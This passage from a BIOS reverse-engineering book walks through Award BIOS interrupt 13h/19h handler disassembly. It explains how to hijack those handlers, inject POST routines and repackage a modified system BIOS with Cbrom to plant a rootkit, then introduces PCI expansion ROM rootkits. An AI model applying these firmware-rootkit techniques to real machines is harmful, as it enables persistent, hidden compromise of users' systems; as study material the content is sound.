F000:EF99   jz    short not_slave_PIC_interrupt
F000:EF9B   in    al, 0Ah              ; Interrupt controller #2, 8259A
F000:EF9D   out   0EBh, al              ; Disable IRQ line for currently
F000:EF9F   or    al, cl                ; serviced interrupt?
F000:EFA1   out   0A1h, al              ; Interrupt controller #2, 8259A
F000:EFA3   out   0EBh, al
F000:EFA5   mov   al, 20h
F000:EFA7   out   0A0h, al              ; Output EOI
F000:EFA9   jmp   short output_End_Of_Interrupt
F000:EFAB
F000:EFAB   not_slave_PIC_interrupt:   ; ...
F000:EFAF   out   0A1h, al              ; Interrupt controller, 8259A
F000:EFC3   pop   cx
F000:EFC4   pop   ax
F000:EFC5   pop   ds
F000:EFC6   assume ds:nothing
F000:EFC6   iret
F000:EFC6   PIC_ISR_n_IRR_HouseKeeping endp
.........
F000:FEE3   ivect_start dw offset fallback_ivect_handler ; ...
F000:FEE5   dw offset fallback_ivect_handler ; Interrupt vector 0h
F000:FEE7   dw offset sub_F000_E2C3    ; Interrupt vector 1h
F000:FEE9   dw offset sub_F000_FF54    ; Interrupt vector 5h
F000:FEEB   dw offset fallback_ivect_handler ; Interrupt vector 7h
F000:FEEF   dw offset System_Timer_IRQ_handler  ; Int vector 8h -- IRQ 0
F000:FEF1   dw offset Keyboard_IRQ_Handler   ; Int vector 9h -- IRQ 1
F000:FEF3   dw offset PIC_ISR_n_IRR_HouseKeeping ; Int vector Ah -- IRQ 2
F000:FEF5   dw offset PIC_ISR_n_IRR_HouseKeeping ; Int vector B8h -- IRQ 3
F000:FEF7   dw offset PIC_ISR_n_IRR_HouseKeeping ; Int vector Ch -- IRQ 4
If you are having difficulties understanding the flow of execution in the beginning of listing 12.12, read chapter 5 again. The ISR in the `PIC_ISR_n_IRR_HouseKeeping` procedure name refers to the in-service register, not interrupt service routine—especially, in the section that explains the POST jump table.

The code in listing 12.12 shows that the first 32 entries of the 16-bit BIOS interrupt vectors are contained in a table—I will call it the interrupt vector table from this point. A rootkit developer is particularly interested in entry 13h and 19h because both of these entries are the vectors to interrupt 13h and 19h handlers.

Now let me give you a glimpse of the contents of the interrupt 13h handler. It is shown in listing 12.13.

### Listing 12.13 Interrupt 13h Handler

```assembly
F000:EC59 goto_int_13h_handler proc far ; ...
F000:EC59   jmp   near ptr int_13h_handler
F000:EC59 goto_int_13h_handler endp
........
F000:8A90 int_13h_handler proc far ; ...
F000:8A90 call do_nothing
F000:8A93 sti
```
Listing 12.13 does not show the whole disassembly result because it's too long and won't be easy to comprehend. It only shows the interesting part that can become your starting point to inject your modification to the original interrupt 13h handler. As you can clearly see, two functions seem to be left over from a previous Award BIOS code base. They are named do_nothing and do_nothing_2. You can reroute this function call to call your custom code. This method is the 16-bit real mode version of the detour patching technique that I mentioned before.

In your custom int 13h "extension" code, you can do whatever you want. As an example, you can code your own kernel patcher. But it will likely be so big that there is not enough free space in the system BIOS for it. In that case, you can make it execute as a separate BIOS module. This can become complex. A theoretical scenario is as follows:

1. Create a new BIOS module that will alter the kernel when it loads to memory. This new BIOS module contains the main code of the "extension" to the interrupt handler.

2. Carry out BIOS code injection using the POST jump table. Given the position of the BIOS interrupt handler initialization in the POST jump table, inject a new POST entry right after the BIOS interrupt handler initialization entry to

---

I haven't tried this method in a real-world situation yet, so the feasibility is unknown.
decompress your "extension" code and alter the interrupt handler routine to branch into the "extension" upon interrupt handler routine execution. Note that the "extension" code might need to be placed in memory above the 1-MB barrier because you don't have enough free space below that barrier. In that case, you have to use an x86 voodoo-mode trick in your injected POST routine code to branch to the "extension" code.

3. Integrate the module to the BIOS binary with Cbrom, using the /other switch. Nevertheless, pay attention to the LZH header's segment:offset. This element must be handled like other compressed BIOS components that are not the system BIOS and its extension.

Note that Cbrom can compress new BIOS modules and integrate them with the original binary by using the /other command line option. By using this option, you can place the starting address of the decompressed version of your module upon booting. Actually, this switch does nothing to the additional BIOS module other than create the right destination segment:offset address in the LZH header of the compressed version of the module that you add into the BIOS. Thus, you have to decompress the module by calling the BIOS decompression routine in your injected POST jump table routine. From section 5.1.3.4, you know that the segment:offset that I'm referring to in this context is fake, because the destination address of the decompression is always segment 4000h for an extension component in Award BIOS unless some of the bits are set according to the rule explained in that section. Figure 12.10 is a screenshot of an older version of Cbrom showing the hint to use the /other option.

![Figure 12.10 Cbrom /other option explanation](image)

---

7 Various versions of Cbrom can be downloaded from http://www.rebelshavenforum.com/sisubb/ultimatebb.php?ubb=get_topic;f=52;t=000004.
8 Read section 5.1.3.4 about decompression of extension BIOS components.
Now, proceed to the sample code for decompression of a compressed BIOS component. It's shown in listing 12.14.

### Listing 12.14 Sample Code for Decompression of a Compressed BIOS Component

```assembly
e000:1b08 post_11s proc near ; ...
e000:1b08 call init_nnoprom_rosupd
........
e000:71c1 init_nnoprom_rosupd proc near ; ...
e000:71c1 push ds
E000:71c2 push es
E000:71c3 pushad
E000:71c5 mov ax, 0
E000:71c8 mov ds, ax
E000:71ca assume ds:nothing
E000:71ca mov ds:byte_0_4b7, 0
E000:71cf mov di, 0a0h ; nnoprom.bin index
E000:71cf ; nnoprom.bin-->4027h;
E000:71cf ; A0h = 4h*(lo_byte(4027h)+1h)
E000:71d2 call near ptr decompress_BIOS_component ; Decompress
E000:71d2 ; nnoprom.bin
E000:71d5 jb decompression_error
E000:71d9 push 4000h
E000:71dc pop ds ; ds = 4000h; decompression
E000:71dd assume ds:nothing
E000:71dd xor si, si
E000:71df push 7000h
E000:71e2 pop es ; es = 7000h
E000:71e3 assume es:nothing
E000:71e3 xor di, di
E000:71e5 mov cx, 4000h
E000:71e8 cld
E000:71e9 rep movsd ; Copy nnoprom decompression result from
E000:71e9 ; seg 4000h to seg 7000h
........
```

Listing 12.14 shows the code for the 11th POST jump table entry, which calls the BIOS decompression block routines to decompress an extension component named nnoprom.bin. With this sample, you can infer how you should implement your custom routine to decompress the "extension" to the interrupt 13h handler if you have to compress it and store it as a standalone extension BIOS module.

Watch your address space consumption in your custom code. Make sure you don't eat up the space that's still being used by other BIOS code upon the execution of your module. This can become complex—to the point that it cannot be implemented reliably. This issue can be handled by avoiding the interrupt 13h handler and patching the interrupt 19h handler instead.
You want to patch interrupt 19h handler because when it's being called the machine is more than ready to load the operating system; no other hardware initialization needs to be carried out. You are free to mess with the BIOS modules. However, you have to watch carefully and not alter the BIOS-related data structure in RAM that will be used by the operating system, such as the BDA and the read-only BIOS code at segments E000h and F000h. Now, let me show you how interrupt 19h handler is implemented in this particular BIOS. Look at listing 12.15.

**Listing 12.15 Interrupt 19h Handler**

```
F000:E6F2 goto_bootstrap proc near ; ...
F000:E6F2   jmp   bootstrap
F000:E6F2 goto_bootstrap endp
........
F000:5750 bootstrap proc near ; ...
F000:5750   mov   ax, 0
F000:5753   mov   ds, ax
F000:5755   assume ds:nothing
F000:5755   cli
F000:5756   mov   ds:int_1Eh_vect, 0EFC7h ; System data - diskette
F000:5756                                 ; parameters (at F000h:EFC7h)
F000:575C   mov   ds:int_1Eh_vect_contd, cs
F000:5760   sti
F000:5761   try_to_boot:                  ; ...
F000:5761   xor   dl, dl
F000:5763   call  near ptr exec_bootstrap
F000:5766   mov   dl, 1
F000:5768   call  near ptr exec_bootstrap
F000:576B   mov   dl, 2
F000:576D   call  near ptr exec_bootstrap
F000:5770   mov   ax, 0
F000:5773   mov   ds, ax
F000:5775   jmp   try_int_18h
F000:5775 bootstrap endp
F000:5778 exec_bootstrap proc far ; ...
F000:5778   mov   ax, 0
F000:577B   mov   ds, ax
F000:577D   mov   al, cs:boot_device_flag
F000:5781   mov   ds:boot_device_flag_buf, al
F000:5784   test  ds:boot_device_flag_buf, 8
F000:5789   jnz  short loc_F000_5792
F000:578B   and  ds:boot_device_flag_buf, 0FBh
F000:5790   jmp  short loc_F000_5797
........
F000:5B79 read_partition_table:   ; ...
F000:5B79   mov   ax, 201h ; Read one sector
F000:5B7C   mov   bx, 7C00h ; Destination buffer offset
F000:5B7F   mov   cx, 1 ; Sector 1 (MBR)
```
mov dx, 80h ; Read HDD
int 13h ; DISK - READ SECTORS INTO MEMORY
AL = number of sectors to read,
CH = track, CL = sector,
DH = head, DL = drive,
ES:BX -> buffer to fill
; Return: CF set on error,
AH = status,
AL = number of sectors read,
add bx, 1BEh ; bx = partition table
chk_next_partition_entry: ; ...
cmp word ptr es:[bx], 0AA55h
jz short end_of_mbr
test byte ptr es:[bx], 80h
jnz short bootable_partition_entry_found
add bx, 10h
jmp short chk_next_partition_entry
bootable_partition_entry_found: ; ...
mov al, es:[bx+5] ; al = cylinder/head/sector
mov ds:4C6h, al
mov ax, es:[bx+6]
jmp short end_of_mbr
........
end_of_mbr: ; ...
pop es
popa
........
xor ax, ax
int 13h ; DISK - RESET DISK SYSTEM
; DL = drive (if bit 7 is set F000:5C0B,
; both hard disks and floppy disks are reset)
jb short not_bootable_media
mov ax, 201h
mov bx, 0
xor dh, dh
mov cx, 1
xor dh, dh
int 13h ; DISK - READ SECTORS INTO MEMORY
AL = number of sectors to read,
CH = track, CL = sector,
DH = head, DL = drive,
ES:BX -> buffer to fill
; Return: CF set on error,
Looking at listing 12.15, you will notice that there are plenty of places to put a branch in your custom procedure. In particular, you can divert the bootstrap vector that jumps to 0000:7C00h to another address—the address of your custom procedure that loads the operating system kernel and patches it. Keep in mind that your custom procedure can be injected into the free space or padding bytes of the system BIOS, just like the trick you learned in section 6.2.

Another issue in fusing your "extension" to the BIOS interrupt 19h handler is the need to implement the custom procedure as an extension BIOS component if the size of the procedure is big enough and it doesn't fit in the free space in the system BIOS. This case isn't the same as the one with the interrupt 13h handler, because when interrupt 19h is invoked, the BIOS module decompression routine in segment 2000h might already be gone. To fight against this issue, you can compress your procedure using LHA level 0 when you insert the custom procedure module into the BIOS binary using Cbrom. Thus, the procedure won't be compressed and placed as a pure binary component in the overall BIOS binary. Now, how do you implement the compression? This part is easy: place a decompression routine in the beginning of the module and compress the rest of the module after the decompression routine. Upon the first execution of your custom procedure, decompress the compressed part. Indeed, this part is quite hard to implement, but it is not impossible. My advice is to use an LZH-based compression algorithm, because the decompression code will be short. This method is illustrated in figure 12.10.
Figure 12.11 Conceptual View of a Compressed Interrupt 19h Handler "Extension"

Figure 12.11 depicts the implementation of a compressed interrupt 19h extension that's explained in the preceding paragraph. Keep in mind that this implementation is specific to Award BIOS.

There is a slightly confusing fact about vd30728.bin. If you trace the disassembly until the ISA POST jump table, you will see that there is IDT initialization. This may surprise you, because you may think that this renders unusable the former interrupt vectors initialized at POST BS in the POST jump table. That's not it. Look at listing 12.16; the secret lies in the code.

Listing 12.16 Misleading IDT Initialization

```
E000:61C2 Begin_E000_POST_Jmp_Table
E000:61C2 POST_Jmp_Tbl_Start dw offset POST_1S ; ...
E000:61C2 ; Restore warm-boot flag
..........  
E000:61F8 dw offset Start_ISA_POSTs ; Call ISA POST tests (below)
E000:61F8 End_E000_POST_Jmp_Table
..........  
E000:61FE ISA_POST_TESTS
E000:61FE ISA_POST_Jmp_Tbl_Start dw offset ISA_POST_1S ; ...
E000:61FE ; Display DRAM clock speed; setup
```
E000:61FE ; IDT/traps/exception handler?
........
E000:249C ISA_POST_1S proc near ; ...
........
E000:2567 mov ax, 0
E000:256A mov ds, ax
E000:256C call init_ISA_IDT_n_GDT
E000:256F jb return
E000:2573 xor eax, eax
E000:2576 mov ax, 10h
........
E000:2640 and ax, OFFC0h
E000:2643 mov cx, ax
E000:2645 call Reinit_IDT_n_Leave_16bit_PMode
E000:2648 push 0E000h
E000:264B push offset i_am_back
E000:264E push offset locret_F000_EC31
E000:2651 push offset nullsub_25
E000:2654 jmp far ptr F000_Vector
E000:2659 ; -------------------------------------------------------------
E000:2659 i_am_back: ; ...
E000:2659 mov [bp+30h], ax
E000:265C cmp cx, ax
E000:265E jz short enable_interrupt
E000:2660 xor ecx, ecx
E000:2663 mov cx, ax
E000:2665 mov [bp+1B6h], ecx
E000:266A enable_interrupt: ; ...
E000:266A call mnoprom_func_8
E000:266D sti
E000:266E mov dx, [bp+30h]
E000:2671 mov [bp+17h], dx
E000:2674 call nullsub_16
E000:2677 return: ; ...
E000:2677 xor ax, ax
E000:2679 mov ds, ax
E000:267B pop ds:dword_0_FFFC
E000:2680 pop ds:dword_0_FFF8
E000:2685 clc
E000:2686 retn
E000:2686 ISA_POST_1S endp
........
E000:2274 init_ISA_IDT_n_GDT proc near ; ...
E000:2274 pushad
E000:2276 call 00_Enable_A20
E000:2279 jb short exit
E000:227B push cs
E000:227C pop ds
E000:227D assume ds:_E000h
E000:227D  mov  cx, 64
E000:2280  mov  si, offset ISA_POST_GDT
E000:2283  mov  ax, 2000h
E000:2286  mov  es, ax
E000:2288  assume es: 2000h
E000:2288  mov  di, 0E0000h ; 2000h:E000h --> destination to
E000:2288  ; copy GDT
E000:2288  mov  si, offset ISA_POST_GDT
E000:228B  rep movsw
E000:228D  mov  di, 0E400h ; 2000h:E400h --> destination to
E000:228D  ; Half of the overall IDT entries
E000:2290  mov  cx, 128 ; copy IDT
E000:2293  mov  si, offset POST_CODE_B0h_n_disable_paging ; Exception
E000:2293  ; handler?
E000:2296  xor  ax, ax
E000:2298  next_idt_entry: ; ...
E000:2298  mov  es:[di], si
E000:229B  mov  word ptr es:[di+2], 8 ; Segment selector number one
E000:229B  ; (16-bit code segment at segment
E000:229B  ; E000h)
E000:22A1  mov  word ptr es:[di+4], 8F00h ; Segment present, 32-bit
E000:22A1  ; TRAP GATE, DPL=0
E000:22A7  mov  es:[di+6], ax ; Hi-word of int handler = 0h
E000:22AB  add  di, 8 ; di += IDT_entry_size
E000:22AE  loop next_idt_entry
E000:22B0  mov  si, offset IDT_addr
E000:22B3  lidt qword ptr [si]
E000:22B6  mov  si, offset GDT_start
E000:22B9  lgdt qword ptr [si]
E000:22BC  mov  eax, cr0
E000:22BF  or  al, 1 ; Set protected mode (PMode) bit
E000:22C1  mov  cr0, eax
E000:22C4  jmp  far ptr 8:22C9h ; Jmp below in 16-bit PMode
E000:22C9 ; -----------------------------------------------------------------------------
E000:22C9  mov  ax, 10h ; Voodoo-mode descriptor
E000:22CC  mov  ds, ax
E000:22CE  assume ds:nothing
E000:22CE  mov  ss, ax
E000:22D0  assume ss:nothing
E000:22D0  mov  gs, ax
E000:22D2  assume gs:nothing
E000:22D2  mov  fs, ax
E000:22D4  assume fs:nothing
E000:22D4  mov  ax, 18h
E000:22D7  mov  es, ax ; es base = 10000h, 16-bit
E000:22D7  ; granularity segment
E000:22D7  assume es:nothing
E000:22D9  mov  eax, cr0
E000:22DC  test  al, 1 ; Check PMode bit
E000:22DE  jnz short exit
E000:22E0  stc
E000:22E1 exit:
E000:22E1 popad
E000:22E3 retn
E000:22E3 init_ISA_IDT_n_GDT endp

E000:22E4 POST_CODE_B0h_n_disable_paging proc far ; ...
E000:22E4 push eax
E000:22E6 push dx
E000:22E7 mov al, 0B0h ; POST code B0h: Unexpected
E000:22E7 ; interrupt in protected mode
E000:22E9 out 80h, al ;
E000:22EB mov eax, cr0
E000:22EE and eax, 7FFFFFFFh ; Reset paging flag
E000:22F4 mov cr0, eax
E000:22F7 pop dx
E000:22F8 pop eax
E000:22FA iret
E000:22FA POST_CODE_B0h_n_disable_paging endp

..........
E000:223F GDT_start dw 20h ; ...
E000:2241 dd 2E000h
E000:2245 IDT_addr dw 1024 ; ...
E000:2247 dd 2E400h
E000:224B ISA_POST_GDT dq 0 ; ...
E000:2253 dw 0FFFFFFh ; Segment limit = 0xFFFF
E000:2255 dw 0 ; Base address = 0xE0000
E000:2257 db 0Eh ; Base address continued
E000:2258 dw 9Fh ; Granularity = byte;
E000:2258 ; 16-bit segment;
E000:2258 ; code segment;
E000:225A db 0 ; Base address continued
E000:225B dw 0FFFFFFh ; Segment limit = 0xFFFF
E000:225D dw 0 ; Base address = 0x0
E000:225F db 0 ; Base address continued
E000:2260 dw 8F93h ; Granularity = 4 KB;
E000:2260 ; 16-bit segment;
E000:2260 ; Data segment;
E000:2262 db 0 ; Base address continued
E000:2263 dw 0FFFFFFh ; Segment limit = 0xFFFF
E000:2265 dw 0 ; Base address = 0x10000
E000:2267 db 1 ; Base address continued
E000:2268 dw 93h ; Granularity = byte;
E000:2268 ; 16-bit segment;
E000:2268 ; Data segment;
E000:226A db 0 ; Base address continued

..........
E000:22FC Reinit_IDT_n_Leave_16bit_PMode proc near ; ...
E000:22FC push eax
E000:22FE push esi
E000:2300 mov ax, ds
As you can see in listing 12.16, the IDT is indeed used during ISA_POST_1S. But after it's used, the processor's interrupt-related registers are restored to the original BIOS interrupt vectors that start at address 0000:0000h. This is shown clearly in the Reinit_IDT_n_Leave_16bit_PMode procedure. Thus, you have to be aware of such a trick that might fool you. Note that I do not provide any binary signature for the interrupt handler in Award BIOS because you should be able to do it yourself after reading the book this far.

12.2.2. Hijacking Award BIOS 6.00PG Interrupt Handlers
I'm not going to explain many things in this subsection because Award BIOS 6.00PG is similar to version 4.51. I will only provide the disassembly source code to show you how similar they are. Because of this similarity, all methods explained in the previous subsection are applicable to Award BIOS 6.00PG. The good news is that Award BIOS 6.00PG contains relatively more free space than its older sibling does.

In this section, I'll show the disassembly of Foxconn 955X7AA-8EKRS2 BIOS dated November 11, 2005. You worked with this file in chapter 5, in the Award BIOS reverse engineering section. Now, let me show you the PIC initialization code in the boot block. The disassembly is shown in listing 12.17.

**Listing 12.17 PIC Initialization in the Foxconn 955X7AA-8EKRS2 Boot Block**

```
F000:E2AC Initialize basic I/O chips: programmable interval timer, PIC, etc.
F000:E2AC   mov   ax, 0F000h
F000:E2AF   mov   ds, ax
F000:E2B1   mov   si, offset IO_port_start
F000:E2B4   mov   cx, 32
F000:E2B7   cld
F000:E2B8   next_IO_port:   ; CODE XREF: F000:E2C1h
F000:E2B8   lodsw
F000:E2B9   mov   dx, ax
F000:E2BB   lodsb
F000:E2BC   out   dx, al
F000:E2BD   jmp   short $+2
F000:E2BF   jmp   short $+2
F000:E2C1   loop  next_IO_port
...........
F000:E7C1   IO_port_start dw 3B8h ; ...
F000:E7C1   ; I/O port address
F000:E7C3   db 1 ; Value to write
...........
F000:E806   dw 20h ; Master PIC base register
F000:E808   db 11h ; Master PIC ICW1; will be sending ICW4
F000:E809   dw 21h ; Master PIC base+1 register
F000:E80B   db 8 ; Master PIC ICW2; point to 8th ISR
F000:E80B   ; vector for IRQs in master PIC
F000:E80C   dw 21h ; Master PIC base+1 register
F000:E80E   db 4 ; Master PIC ICW3; IRQ2 connected to the
F000:E80E   ; slave PIC
F000:E80F   dw 21h ; Master PIC base+1 register
F000:E811   db 1 ; Master PCI ICW4; 8086 mode
F000:E812   dw 21h ; Master PIC base+1 register
F000:E814   db 0FFh ; OCW1: disable all IRQs in master PIC
F000:E815   dw 0A0h ; Slave PIC base register
F000:E817   db 11h ; Slave PIC ICW1; will be sending ICW4
F000:E818   dw 0A1h ; Slave PIC base+1 register
F000:E81A   db 70h ; Slave PIC ICW2; point to 70h-th ISR
F000:E81A   ; vector for IRQs in slave PIC
```
Look carefully at listing 12.17 and compare it with listing 12.11. You can see that the code is similar. This code must have been inherited from Award BIOS 4.51PG base code by Award BIOS 6.00PG code. I don't need to explain it in detail because you can easily grasp it from the explanation in the previous subsection.

Now, let me proceed to the system BIOS disassembly to find the interrupt handlers. Start with the Foxconn 955X7AA-8EKRS2 POST jump table entries and the call to initialize the interrupt vectors. It is shown in listing 12.18.

Listing 12.18 POST Jump Table and Call to Interrupt Vectors Initialization Procedure

```
E000:740B Begin POST Jump Table
E000:740B   dw offset POST_1S    ; Decompress awardext.rom
E000:740D   dw offset POST_2S    ; ITEM.BIN and EN_CODE.BIN
E000:740D                        ; decompression (with relocation)
E000:740F   dw offset POST_3S
E000:7411   dw offset nullsub_3  ; Dummy procedure
..........
E000:743F   dw offset POST_27S   ; Initialize interrupt vectors
..........
E000:7535 End POST Jump Table
..........
E000:24B0 ; POST_27_S - initialize interrupt vectors
E000:24B0
E000:24B0 POST_27S proc near
E000:24B0   cli
E000:24B1   mov   ax, 0F000h
E000:24B4   mov   ds, ax
E000:24B6   assume ds:F000
E000:24B6   cld
E000:24B7   xor   di, di         ; es = 0
E000:24B9   mov   es, di
E000:24BB   assume es:nothing
E000:24BB mov ax, 0F000h
E000:24B4 mov ds, ax
E000:24B6 assume ds:F000
E000:24B6 cld
E000:24B7 xor di, di
E000:24B9 mov es, di
E000:24BC mov ax, offset default_ivect_handler
E000:24B5 mov ecx, 78h
E000:24C2 mov ax, offset default_ivect_handler
E000:24C5 mov ecx, 78h
E000:24CB rep stosd
E000:24C2 mov ax, offset PIC_ISR_n_Irr_HouseKeeping
E000:24D1 mov di, 140h
E000:24D4 stosd
E000:24D6 mov cx, 32 ; First 32 interrupt vectors
```
As you can see in listing 12.18, the interrupt vectors initialization is almost an exact copy of the Award BIOS 4.51PG code that's shown in listing 12.12. The fundamental difference is in the POST jump table entry number; in the code for listing 12.18, the initialization is carried out by POST routine at entry 27. There is also a difference not shown in the listings: there is no ISA POST jump table in Award BIOS 6.00PG code, only one long POST jump table.
Consider the next listing.

Listing 12.19 Foxconn 955X7AA-8EKRS2 Interrupt 13h Handler

F000:EC59 goto_int_13h_handler proc near ; ...
F000:EC59   jmp   near ptr int_13h_handler
F000:EC59 goto_int_13h_handler endp
........
F000:86B9 int_13h_handler proc far ; ...
F000:86B9   call  sub_F000_881A
F000:86BC   jb    short loc_F000_86C1
F000:86BE   retf  2
F000:86C1 ; --------------------------------------------------------------------------------
F000:86C1 loc_F000_86C1: ; ...
F000:86C1   cmp   dl, 80h
F000:86C4   jb    short loc_F000_86C9
........
F000:8810 return: ; ...
F000:8810   pop   ax
F000:8811   pop   di
F000:8812   pop   es
F000:8813   assume es:nothing
F000:8813   pop   ds
F000:8814   assume ds:nothing
F000:8814   pop   si
F000:8815   iret
F000:8816 ; --------------------------------------------------------------------------------
F000:8816 set_flag: ; ...
F000:8816   mov   ah, 1
F000:8818   jmp   short loc_F000_87BF
F000:8818 int_13h_handler endp

Listing 12.19 shows the interrupt 13h handler. It's quite similar in some respects to the code in Award 4.51PG shown in the previous subsection.

The last and most interesting handler is the one for interrupt 19h. It's shown in listing 12.20.

Listing 12.20 Foxconn 955X7AA-8EKRS2 Interrupt 19h Handler

F000:E6F2 goto_int_19h_handler proc near ; ...
F000:E6F2   jmp   near ptr int_19h_handler
F000:E6F2 goto_int_19h_handler endp
........
F000:2C88 int_19h_handler proc far ; ...
F000:2C88
F000:2C88   mov   ax, 0
F000:2C88   mov   ds, ax
F000:2C8D   assume ds:nothing
F000:2C8D   xor   ax, ax
mov ss, ax
assume ss:nothing
mov sp, 3FEh
cmp word ptr ds:469h, 0F000h
jnz short prepare_bootstrap
mov sp, ds:467h
retf
prepare_bootstrap:
cli
mov word ptr ds:78h, offset unk_F000_EFC7
mov word ptr ds:7Ah, cs
sti
call sub_F000_C93E
prepare_bootstrap:             ;...
try_exec_bootstrap_again:      ;...
and byte ptr ds:4A1h, 0DFh
mov di, 1
mov al, byte ptr cs:word_F000_2E8E
and al, 0Fh
call exec_bootstrap
mov di, 2
mov al, byte ptr cs:word_F000_2E8E
shr al, 4
call exec_bootstrap
mov di, 3
mov al, byte ptr cs:word_F000_2E8E+1
and al, 0Fh
call exec_bootstrap
mov al, byte ptr cs:word_F000_2E8E+1
rol al, 4
call sub_F000_2CE7
call exec_bootstrap
mov di, 3
mov al, byte ptr cs:word_F000_2E8E+1
and al, 0Fh
call exec_bootstrap
and al, 0Fh
call exec_bootstrap
mov al, byte ptr cs:word_F000_2E8E+1
rol al, 4
call sub_F000_2CE7
jmp exec_int_18h_handler
int_19h_handler endp
exec_bootstrap proc near
mov si, 4A1Bh
call sub_F000_2E9E
jmp short jmp2bootstrap_vector
jmp2bootstrap_vector:           ;...
push cs
call sub_F000_2E9E
jnb short jmp2bootstrap_vector
jmp2bootstrap_vector:           ;...
push cs
push offset loc_F000_2DBA
mov ax, cs
mov ds:469h, ax
mov ds:467h, sp
jmp far ptr 0:7C00h           ; Jump to start bootstrap vector
exec_bootstrap endp
The basic code flow of the interrupt 19h handler in Listing 12.20 is similar to that of the same handler in Award BIOS 4.51PG code. However, the details differ because Award BIOS 6.00PG code supports more boot devices than its older sibling does.

The preceding explanation implies that when you are modifying the interrupt handler you are working with the system BIOS because the interrupt handler is located there. There is an issue in the newer Award BIOS 6.00PG. This BIOS cannot be modified with modbin version 2.01.01 as explained in chapter 6 because even if you alter the temporary system BIOS file that's decompressed by modbin when it's opening a BIOS binary, modbin won't include the changes in the output binary file. It will use the original (unmodified) system BIOS. However, there is a workaround for that. The basic principle of this workaround is to compress the modified system BIOS by using Cbrom and adding it to the overall BIOS binary as the "other" component that will be decompressed to segment 5000h when the BIOS executes. The details of this method are as follows:

1. Suppose that the name of the overall BIOS binary file is 865pe.bin and the name of the system BIOS file is system.bin. In this step, I assume that you have modified system.bin. You can obtain the original system.bin by opening 865pe.bin with modbin, copy the temporary system BIOS to a new file named system.bin, and subsequently modify it.

2. Extract all components of 865pe.bin except the system BIOS and place them in a temporary directory by using the suitable Cbrom command. For example, to extract awardext.rom, use `cbrom 865pe.bin /other 407F:0 extract`.

3. Release all components of 865pe.bin except the system BIOS and place them in a temporary directory by using the suitable Cbrom command. For example, to extract awardext.rom, use `cbrom 865pe.bin /other 407F:0 release`. At this point, the components left in 865pe.bin are the system BIOS, the boot block, and the decompression block.

4. Compress system.bin and add it as a new component to 865pe.bin by using Cbrom with the following command: `cbrom 865pe.bin /other 5000:0 system.bin`. This step compresses system.bin and places it inside 865pe.bin next to the original system BIOS.

5. Open 865pe.bin with a hex editor and copy the compressed system.bin inside 865pe.bin into a new binary file. Then close the hex editor. You can give this new file a *.lha extension because it's an LHA compressed file. Then release the compressed system.bin from 865pe.bin by using Cbrom with the following command:

`cbrom 865pe.bin /other 5000:0 release`

6. Open 865pe.bin with the hex editor again—at this point, the compressed system.bin is not inside 865pe.bin because it has been released. Then replace the

---

9 Recall from section 5.1.2.7 that the system BIOS is decompressed to section 5000h because its header indicates that segment as the destination segment for the compressed system BIOS when it is decompressed.
original system BIOS with the compressed system.bin file obtained in the previous step. Add padding FFh bytes if necessary. Then close the hex editor.

7. Combine all remaining components that you extracted in step 2 back with 865pe.bin, and you're done.

The preceding steps have been proven to work on some Award BIOS binary that cannot be worked with by using the modification method that alters the temporary system BIOS file generated by modbin. Note that you don't need modbin in these steps. However, you can use modbin to verify the validity of the binary after step 7 has been carried out.

The subsections on Award BIOS end here. In the next subsection, I explain the issue that plagues the implementation of the BIOS from other vendors.

12.2.3. Extending the Technique to a BIOS from Other Vendors

Implementing the technique that you learned in the previous two subsections to a BIOS other than Award BIOS is hard but not impossible. It is difficult because of the lack of tools in the public domain to carry out BIOS modification. Decompressing and analyzing a BIOS other than Award BIOS is quite easy, as you have seen in AMI BIOS reverse engineering in section 5.2. However, the main obstacle is compressing the modified BIOS components back into a working BIOS binary, along with correcting the checksums. Even the public-domain BIOS modification tool sometimes does not work as expected. I can give some pointers to a possible solution to this problem, specifically for AMI BIOS and Phoenix BIOS.

There are some tools for AMI BIOS available on the Internet, such as Mmtool and Amibcp. You can work on PCI expansion ROM embedded within an AMI BIOS binary by using Mmtool. As for Amibcp, it works much like modbin for Award BIOS binaries. Amibcp lets you work with the system BIOS within an AMI BIOS binary. Moreover, some old versions of this tool released in 2002 or earlier can add a new compressed component into the AMI BIOS binary. It's possible that it enables you to add a new compressed module into the binary. I haven't done in-depth research on this AMI BIOS exploitation scenario yet.

On the other hand, the only Phoenix BIOS tool that I'm aware of is Phoenix BIOS Editor. This tool works for the BIOS from Phoenix before Phoenix Technologies merges with Award Software. This tool generates temporary binary files underneath its installation directory upon working on a BIOS binary. You can use that to modify the BIOS. It's unfortunate that I haven't researched it further and cannot present it to you. However, I can roughly say that the temporary binary files are compiled into one working Phoenix BIOS binary when you close the Phoenix BIOS editor. It seems you can alter the system BIOS by altering those temporary binary files.

The lack of a public domain tool for motherboard BIOS modification can be handled by avoiding injecting the rootkit into the motherboard BIOS. But then, how would you inject

---

10 PCI expansion ROM embedded within the overall BIOS binary is used for onboard PCI devices, such as a RAID controller and an onboard LAN chip.
the rootkit code? Simple: inject it into the PCI expansion ROM. I explain this theme in the next section.

12.3. PCI Expansion ROM Rootkit Development Scenario

The PCI expansion ROM rootkit is theoretically easier to implement than the motherboard BIOS rootkit explained in the previous section. This is because the PCI expansion ROM is simpler than motherboard BIOS. Figure 12.12 shows the basic idea of the PCI expansion ROM rootkit.

![Figure 12.12 PCI expansion ROM rootkit basic concepts](image)

Figure 12.12 shows the basic concept of injecting a rootkit procedure into PCI expansion ROM. As you can see, this method is detour patching applied to 16-bit code, simple and elegant. The figure shows how the original jump to the PCI initialization procedure can be redirected to an injected rootkit procedure. It shows how you can then
jump to the original PCI initialization procedure upon completion of the rootkit procedure. The effectiveness of this method is limited by the size of the free space in the PCI expansion ROM chip and a rather obscure constraint in the x86 booting process—I elaborate more on the latter issue later because it's a protocol inconsistency issue. If the rootkit is bigger than 20 KB, this method possibly cannot be used because most PCI expansion ROMs don't have free space bigger than that. A typical PCI expansion ROM chip is 32 KB, 64 KB, or 128 KB.

Before proceeding further, let me refresh your memory about the big picture of the PCI expansion ROM execution environment. PCI expansion ROMs (other than a video card's PCI expansion ROM) are executing in the following execution environment:

- The CPU (and its floating-point unit), RAM, I/O controller chip, PIC, programmable interval timer chip, and video card's expansion ROM have been initialized.
- The motherboard BIOS calls the PCI expansion ROM with a 16-bit far jump.
- Interrupt vectors have been initialized.
- The CPU is operating in 16-bit real mode.

From the preceding execution environment, you might be asking why the video card's expansion ROM is treated exclusively. That's because the video card is the primary output device, which means it has to be ready before initialization of noncritical parts of the system. The video card displays the error message, doesn't it?

